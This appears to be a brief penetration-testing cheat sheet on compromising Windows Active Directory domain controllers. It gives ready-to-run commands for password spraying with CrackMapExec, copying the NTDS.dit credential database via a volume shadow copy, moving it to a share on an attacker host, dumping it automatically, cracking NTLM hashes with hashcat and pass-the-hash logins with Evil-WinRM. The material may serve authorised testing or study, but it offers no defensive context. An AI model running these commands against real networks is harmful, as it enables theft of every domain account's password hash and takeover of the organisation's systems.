AD & NTDS.dit (Windows Server)

Active Directory is a directory service used to manage resources on Windows-based corporate networks. Domain controllers (DCs) handle authentication requests, credential storage, and security policies.
The NTDS.dit file on the DC stores password hashes for domain accounts and domain schema information.

Attacks and Techniques

Attack with CrackMapExec

terminal
$ crackmapexec smb <IP_DC> -u <usuario> -p <lista_contraseñas>
User lists can be created using public information:
terminal
$ ./username-anarchy -i names.txt

Capturing the NTDS.dit File

Typical location: %systemroot%\ntds\NTDS.dit
  • Connect to the DC with Evil-WinRM:
terminal
$ evil-winrm -i <IP_DC> -u <usuario> -p <contraseña>
  • Create a volume shadow copy (VSS):
powershell
vssadmin CREATE SHADOW /For=C:
  • Copy the NTDS.dit file:
powershell
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
  • Transfer it to the attacking host:
powershell
cmd.exe /c move C:\NTDS\NTDS.dit \\<IP_ATACANTE>\CompData

Capture with CrackMapExec (Automatic)

terminal
$ crackmapexec smb <IP_DC> -u <usuario> -p <contraseña> --ntds

Cracking Hashes

terminal
$ hashcat -m 1000 hashes.txt ~/rockyou.txt

Pass-the-Hash

terminal
$ evil-winrm -i <IP_DC> -u <usuario> -H "<hash>"